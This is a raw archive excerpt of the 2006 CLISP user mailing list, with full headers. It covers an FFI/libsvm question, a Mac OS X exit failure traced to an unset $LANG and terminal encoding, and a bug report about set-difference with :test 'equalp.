mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GRwOO-0005yD-25 for clisp-list@lists.sourceforge.net; Mon, 25 Sep 2006 12:45:30 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GRwNv-0003Xg-06 for clisp-list@lists.sourceforge.net; Mon, 25 Sep 2006 21:44:59 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 25 Sep 2006 21:44:58 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 25 Sep 2006 21:44:58 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Mon, 25 Sep 2006 15:44:37 -0400 Lines: 28 Message-ID: <451831A5.7000407@gnu.org> References: <45102354.2050409@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.7 (X11/20060913) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Sep 2006 19:45:31 -0000 Hi, Hoehle, Joerg-Cyril wrote: > (allocate-deep 'problem '(1 #(2.0d0) #( (1 2.0d0) (2 5.6d0)))) ok, here you go: (defun task (num divisor base) (flet ((normalize (x d) (- (/ (* 2 x) (1- d)) 1d0))) (values (normalize (rem num divisor) divisor) (do ((n num) r (ret ()) (index 0 (1+ index))) ((zerop n) (coerce (nreverse (cons (list -1 0d0) ret)) 'vector)) (multiple-value-setq (n r) (floor n base)) (let ((value (normalize r base))) (unless (zerop value) (push (list index value) ret))))))) (defun problem (repeat divisor base) (let ((x (make-array repeat)) (y (make-array repeat))) (dotimes (i repeat) (multiple-value-bind (n v) (task i divisor base) (setf (aref y i) n (aref x i) v))) (libsvm:make-problem :l repeat :x x :y y))) (defparameter f-problem-3-7 (problem 1000 3 7)) (defparameter l-problem-3-7 (ffi:foreign-value f-problem-3-7)) (second l-problem-3-7) #(-1.0d0) it should be a vector of length 1000, but it appears to be a vector of length 1! From ycodet@club-internet.fr Wed Sep 27 00:02:12 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GSTQq-0007ED-GU for clisp-list@lists.sourceforge.net; Wed, 27 Sep 2006 00:02:12 -0700 Received: from relay-cm.club-internet.fr ([194.158.104.39]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GSTQo-0003Jp-2c for clisp-list@lists.sourceforge.net; Wed, 27 Sep 2006 00:02:12 -0700 Received: from [192.168.1.2] (gar31-1-87-91-198-34.dsl.club-internet.fr [87.91.198.34]) by relay-cm.club-internet.fr (Postfix) with ESMTP id 4A6F025605 for ; Wed, 27 Sep 2006 09:02:08 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v752.2) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: clisp-list@lists.sourceforge.net From: Yves Codet Date: Wed, 27 Sep 2006 09:02:07 +0200 X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] can't exit X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Sep 2006 07:02:12 -0000 Hello. I could compile clisp-2.39 on an Intel Mac running Mac OS X 10.4.7. It passed all tests and seems to work normally but if I try and exit I get this: [1]> (quit) *** - Le *** - Le *** - Le *** - Message inimprimable (non printable message) Break 1 [2]> (quit) *** - Message inimprimable Break 1 [3]> (quit) *** - Le *** - Message inimprimable Break 1 [4]> The same thing happens with (bye), (exit) and Ctrl D. With Ctrl C it enters an infinite loop. Am I doing something wrong? Regards, YC From pjb@informatimago.com Wed Sep 27 12:27:31 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GSf47-0000km-8j for clisp-list@lists.sourceforge.net; Wed, 27 Sep 2006 12:27:31 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GSf44-0001SA-9v for clisp-list@lists.sourceforge.net; Wed, 27 Sep 2006 12:27:31 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id DD375585EB; Wed, 27 Sep 2006 21:07:54 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 1A224585E7; Wed, 27 Sep 2006 21:07:51 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id EC80A9019; Wed, 27 Sep 2006 21:07:50 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17690.52230.907006.728917@thalassa.informatimago.com> Date: Wed, 27 Sep 2006 21:07:50 +0200 To: Yves Codet In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] can't exit X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Sep 2006 19:27:31 -0000 Yves Codet writes: > Hello. >=20 > I could compile clisp-2.39 on an Intel Mac running Mac OS X 10.4.7. =20 > It passed all tests and seems to work normally but if I try and exit =20 > I get this: >=20 > [1]> (quit) >=20 > *** - Le > *** - Le > *** - Le > *** - Message inimprimable (non printable message) > Break 1 [2]> (quit) >=20 > *** - Message inimprimable > Break 1 [3]> (quit) >=20 > *** - Le > *** - Message inimprimable > Break 1 [4]> >=20 > The same thing happens with (bye), (exit) and Ctrl D. With Ctrl C it =20 > enters an infinite loop. Am I doing something wrong? The unprintable message may contain characters that cannot be encoded in the coding system you've selected for terminal output. Try another coding system, like iso-8859-1 (should be enough for French) or utf-8. On MacOSX, since the file names are stored in utf-8 too, you could configure your editor to save all the files in utf-8 and just use: clisp -ansi -E utf-8 to set all the coding systems to utf-8. The function QUIT is in the package EXT. (EXT:QUIT) should always work... --=20 __Pascal Bourguignon__ http://www.informatimago.com/ This is a signature virus. Add me to your signature and help me to live. From ycodet@club-internet.fr Wed Sep 27 23:30:28 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GSpPg-0006HV-Bn for clisp-list@lists.sourceforge.net; Wed, 27 Sep 2006 23:30:28 -0700 Received: from relay-cm.club-internet.fr ([194.158.104.39]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GSpPe-0007zw-Ve for clisp-list@lists.sourceforge.net; Wed, 27 Sep 2006 23:30:28 -0700 Received: from [192.168.1.2] (gar31-1-87-91-198-34.dsl.club-internet.fr [87.91.198.34]) by relay-cm.club-internet.fr (Postfix) with ESMTP id 6FED525607 for ; Thu, 28 Sep 2006 08:30:24 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v752.2) Content-Transfer-Encoding: quoted-printable Message-Id: <54F678B4-8CFC-40F2-98DA-C2B17C1262D2@club-internet.fr> Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed To: clisp-list@lists.sourceforge.net From: Yves Codet Date: Thu, 28 Sep 2006 08:30:24 +0200 X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] =?iso-8859-1?q?R=E9p_=3A_can=27t_exit?= X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Sep 2006 06:30:28 -0000 Le 27 sept. 06 =E0 21:07, Pascal Bourguignon a =E9crit : > Yves Codet writes: > >> Hello. >> >> I could compile clisp-2.39 on an Intel Mac running Mac OS X 10.4.7. >> It passed all tests and seems to work normally but if I try and exit >> I get this: >> >> [1]> (quit) >> >> *** - Le >> *** - Le >> *** - Le >> *** - Message inimprimable (non = printable message) >> Break 1 [2]> (quit) >> >> *** - Message inimprimable >> Break 1 [3]> (quit) >> >> *** - Le >> *** - Message inimprimable >> Break 1 [4]> >> >> The same thing happens with (bye), (exit) and Ctrl D. With Ctrl C it >> enters an infinite loop. Am I doing something wrong? >> > > The unprintable message may contain characters that cannot be encoded > in the coding system you've selected for terminal output. Try another > coding system, like iso-8859-1 (should be enough for French) or utf-8. > You were right, Clisp wanted to print: =C0 bient=F4t ! Terminal was already set to utf-8 (I think it's the default), Clisp =20 couldn't print the message though. > > On MacOSX, since the file names are stored in utf-8 too, you could > configure your editor to save all the files in utf-8 and just use: > > clisp -ansi -E utf-8 > > to set all the coding systems to utf-8. > With the above command Clisp can exit normally. Many thanks. Yves Codet From ycodet@club-internet.fr Wed Sep 27 23:55:17 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GSpnh-0008QV-7J for clisp-list@lists.sourceforge.net; Wed, 27 Sep 2006 23:55:17 -0700 Received: from [194.158.104.223] (helo=relay-em.club-internet.fr) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GSpnf-000709-Sb for clisp-list@lists.sourceforge.net; Wed, 27 Sep 2006 23:55:17 -0700 Received: from [192.168.1.2] (gar31-1-87-91-198-34.dsl.club-internet.fr [87.91.198.34]) by relay-em.club-internet.fr (Postfix) with ESMTP id CD64725606 for ; Thu, 28 Sep 2006 08:55:12 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v752.2) In-Reply-To: References: Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: quoted-printable From: Yves Codet Date: Thu, 28 Sep 2006 08:55:12 +0200 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] can't exit X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Sep 2006 06:55:17 -0000 Le 27 sept. 06 =E0 14:59, Sam Steingold a =E9crit : > apparently, your language settings (French) are inconsistent with your > encoding settings (ASCII). > what is your $LANG? Clisp says that $LANG has no value: [1]> (system::getenv $LANG) *** - EVAL: La variable $LANG n'a pas de valeur. Rentr=E9es possibles: USE-VALUE :R1 You may input a value to be used instead of =20 $LANG. STORE-VALUE :R2 You may input a new value for $LANG. ABORT :R3 ABORT It's writing in French though (sorry about my ignorant remarks, I'm =20 quite new to Clisp and Lisp). Yves Codet From pjb@informatimago.com Thu Sep 28 01:34:45 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GSrLx-0008RG-8a for clisp-list@lists.sourceforge.net; Thu, 28 Sep 2006 01:34:45 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GSrLv-000587-Lv for clisp-list@lists.sourceforge.net; Thu, 28 Sep 2006 01:34:45 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 580F6585E7; Thu, 28 Sep 2006 10:34:36 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 2F023585D4; Thu, 28 Sep 2006 10:34:25 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 05E8112AD83; Thu, 28 Sep 2006 10:34:24 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17691.35088.402023.773757@thalassa.informatimago.com> Date: Thu, 28 Sep 2006 10:34:24 +0200 To: Yves Codet In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] can't exit X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Sep 2006 08:34:45 -0000 Yves Codet writes: >=20 > Le 27 sept. 06 =C3=A0 14:59, Sam Steingold a =C3=A9crit : >=20 > > apparently, your language settings (French) are inconsistent with you= r > > encoding settings (ASCII). > > what is your $LANG? >=20 > Clisp says that $LANG has no value: >=20 > [1]> (system::getenv $LANG) > *** - EVAL: La variable $LANG n'a pas de valeur. ELANG :-) $LANG is expressed in shell language. To get the value of an environment variable from Lisp (or from C), we must give the _name_ of the shell environment variable to the getenv func= tion. (ext:getenv "LANG") > It's writing in French though (sorry about my ignorant remarks, I'm =20 > quite new to Clisp and Lisp). No problem. Most native English speakers haven't learned English as foreign language. --=20 __Pascal Bourguignon__ http://www.informatimago.com/ Grace personified, I leap into the window. I meant to do that. From ycodet@club-internet.fr Thu Sep 28 01:50:37 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GSrbJ-0001Kp-Ck for clisp-list@lists.sourceforge.net; Thu, 28 Sep 2006 01:50:37 -0700 Received: from relay-av.club-internet.fr ([194.158.96.107]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GSrbI-0000WY-1n for clisp-list@lists.sourceforge.net; Thu, 28 Sep 2006 01:50:37 -0700 Received: from [192.168.1.2] (gar31-1-87-91-198-34.dsl.club-internet.fr [87.91.198.34]) by relay-av.club-internet.fr (Postfix) with ESMTP id 31DDE2560C for ; Thu, 28 Sep 2006 10:50:32 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v752.2) In-Reply-To: <17691.35088.402023.773757@thalassa.informatimago.com> References: <17691.35088.402023.773757@thalassa.informatimago.com> Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed Message-Id: <89E83F60-627D-4FE7-8C1B-25B56C3A3912@club-internet.fr> Content-Transfer-Encoding: quoted-printable From: Yves Codet Date: Thu, 28 Sep 2006 10:50:31 +0200 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] can't exit X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Sep 2006 08:50:37 -0000 Le 28 sept. 06 =E0 10:34, Pascal Bourguignon a =E9crit : > To get the value of an environment variable from Lisp (or from C), we > must give the _name_ of the shell environment variable to the =20 > getenv function. > > (ext:getenv "LANG") I get this: [1]> (ext:getenv "LANG") NIL Yves Codet From grue@diku.dk Thu Sep 28 02:06:29 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GSrqf-0002dg-66 for clisp-list@lists.sourceforge.net; Thu, 28 Sep 2006 02:06:29 -0700 Received: from [130.225.96.91] (helo=mgw1.diku.dk ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GSrqc-0006Ei-Ex for clisp-list@lists.sourceforge.net; Thu, 28 Sep 2006 02:06:29 -0700 Received: from localhost (localhost [127.0.0.1]) by mgw1.diku.dk (Postfix) with ESMTP id 7D1A5770068 for ; Thu, 28 Sep 2006 11:06:17 +0200 (CEST) Received: from mgw1.diku.dk ([127.0.0.1]) by localhost (mgw1.diku.dk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 07259-15 for ; Thu, 28 Sep 2006 11:06:16 +0200 (CEST) Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140]) by mgw1.diku.dk (Postfix) with ESMTP id 0E0C977004C for ; Thu, 28 Sep 2006 11:06:16 +0200 (CEST) Received: from tyr.diku.dk (tyr.diku.dk [130.225.96.226]) by nhugin.diku.dk (Postfix) with ESMTP id 235A06DF894 for ; Thu, 28 Sep 2006 11:04:15 +0200 (CEST) Received: by tyr.diku.dk (Postfix, from userid 1018) id EC00461ACA; Thu, 28 Sep 2006 11:06:15 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by tyr.diku.dk (Postfix) with ESMTP id E9109138D9 for ; Thu, 28 Sep 2006 11:06:15 +0200 (CEST) Date: Thu, 28 Sep 2006 11:06:15 +0200 (CEST) From: Klaus Ebbe Grue To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: amavisd-new at diku.dk X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] set-difference ... :test 'equalp X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Sep 2006 09:06:29 -0000 Hi, Is this a known problem? When I do (set-difference '(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) '(0 0 0 0 0 0) :test 'equalp) I get *** - MAKE-HASH-TABLE: illegal :TEST argument SYSTEM::FASTHASH-EQUALP The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. ABORT :R2 ABORT In general, (set-difference x y :test 'equalp) gives the message above when x has 16 elements or more and y has 6 elements or more. I have seen no problems with :test 'equal or when x or y have fewer elements than the limits of 16 and 6, respectively. Cheers, Klaus --- [grue@thor pyk]$ uname -a Linux thor.yoa.dk 2.4.18-14 #1 Wed Sep 4 12:13:11 EDT 2002 i686 athlon i386 GNU/Linux grue@thor pyk]$ clisp --version GNU CLISP 2.39 (2006-07-16) (built 3362209947) (memory 3362210549) Software: GNU C 3.2 20020903 (Red Hat Linux 8.0 3.2-7) gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a /usr/local/lib/libreadline.so -Wl,-rpath -Wl,/usr/local/lib -lncurses -ldl -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 libreadline 5.1 Features: (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) C Modules: (clisp i18n syscalls regexp readline) Installation directory: /usr/local/lib/clisp/ User language: ENGLISH Machine: I686 (I686) thor.yoa.dk [127.0.0.1] From ycodet@club-internet.fr Thu Sep 28 02:43:10 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GSsQ9-0005p2-St for clisp-list@lists.sourceforge.net; Thu, 28 Sep 2006 02:43:09 -0700 Received: from relay-av.club-internet.fr ([194.158.96.107]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GSsQ8-0004mY-HS for clisp-list@lists.sourceforge.net; Thu, 28 Sep 2006 02:43:09 -0700 Received: from [192.168.1.2] (gar31-1-87-91-198-34.dsl.club-internet.fr [87.91.198.34]) by relay-av.club-internet.fr (Postfix) with ESMTP id CCAC125610 for ; Thu, 28 Sep 2006 11:43:06 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v752.2) In-Reply-To: <89E83F60-627D-4FE7-8C1B-25B56C3A3912@club-internet.fr> References: <17691.35088.402023.773757@thalassa.informatimago.com> <89E83F60-627D-4FE7-8C1B-25B56C3A3912@club-internet.fr> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <159543E2-6168-46FB-88B2-03DE602F3208@club-internet.fr> Content-Transfer-Encoding: 7bit From: Yves Codet Date: Thu, 28 Sep 2006 11:43:06 +0200 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] can't exit X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Sep 2006 09:43:10 -0000 Hello. Apparently the problem was that my $LANG variable had no value. If I set it to fr_FR.UTF-8, I can invoke Clisp simply as clisp (without - ansi -E utf-8); it can print its message and exit normally. Best wishes, Yves Codet From lisp-clisp-list@m.gmane.org Thu Sep 28 06:27:12 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GSvux-0008Sj-Ul for clisp-list@lists.sourceforge.net; Thu, 28 Sep 2006 06:27:11 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GSvux-00016N-BO for clisp-list@lists.sourceforge.net; Thu, 28 Sep 2006 06:27:11 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GSvuq-0007ye-W3 for clisp-list@lists.sourceforge.net; Thu, 28 Sep 2006 15:27:05 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 28 Sep 2006 15:27:04 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 28 Sep 2006 15:27:04 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Thu, 28 Sep 2006 09:26:35 -0400 Lines: 24 Message-ID: <451BCD8B.5030705@gnu.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.7 (X11/20060913) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] set-difference ... :test 'equalp X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Sep 2006 13:27:12 -0000 Klaus Ebbe Grue wrote: > Is this a known problem? When I do > > (set-difference > '(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) > '(0 0 0 0 0 0) > :test 'equalp) > > I get > > *** - MAKE-HASH-TABLE: illegal :TEST argument SYSTEM::FASTHASH-EQUALP > The following restarts are available: > USE-VALUE :R1 You may input a value to be used instead. > ABORT :R2 ABORT > > In general, (set-difference x y :test 'equalp) gives the message above > when x has 16 elements or more and y has 6 elements or more. I have seen > no problems with :test 'equal or when x or y have fewer elements than the > limits of 16 and 6, respectively. thanks for your bug report. could you please also file it on SF? http://sourceforge.net/tracker/?func=add&group_id=1355&atid=101355 thanks. From gracin@tel.fer.hr Sun Oct 01 14:28:56 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GU8ro-0007Qz-QM for clisp-list@lists.sourceforge.net; Sun, 01 Oct 2006 14:28:56 -0700 Received: from mxout2.iskon.hr ([213.191.128.81] ident=qmailr2) by mail.sourceforge.net with smtp (Exim 4.44) id 1GU8rn-00077m-US for clisp-list@lists.sourceforge.net; Sun, 01 Oct 2006 14:28:56 -0700 Received: (qmail 29040 invoked from network); 1 Oct 2006 23:28:49 +0200 X-Remote-IP: 213.191.142.124 Received: from unknown (HELO mx.iskon.hr) (213.191.142.124) by mxout2.iskon.hr with SMTP; 1 Oct 2006 23:28:49 +0200 Received: (qmail 15153 invoked from network); 1 Oct 2006 23:28:49 +0200 X-Remote-IP: 213.202.84.111 Received: from lns01-0110.dsl.iskon.hr (HELO ?192.168.1.101?) (213.202.84.111) by mx.iskon.hr with SMTP; 1 Oct 2006 23:28:49 +0200 Message-ID: <45203310.1060805@tel.fer.hr> Date: Sun, 01 Oct 2006 23:28:48 +0200 From: Josip Gracin User-Agent: Mail/News 1.5.0.4 (X11/20060731) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; 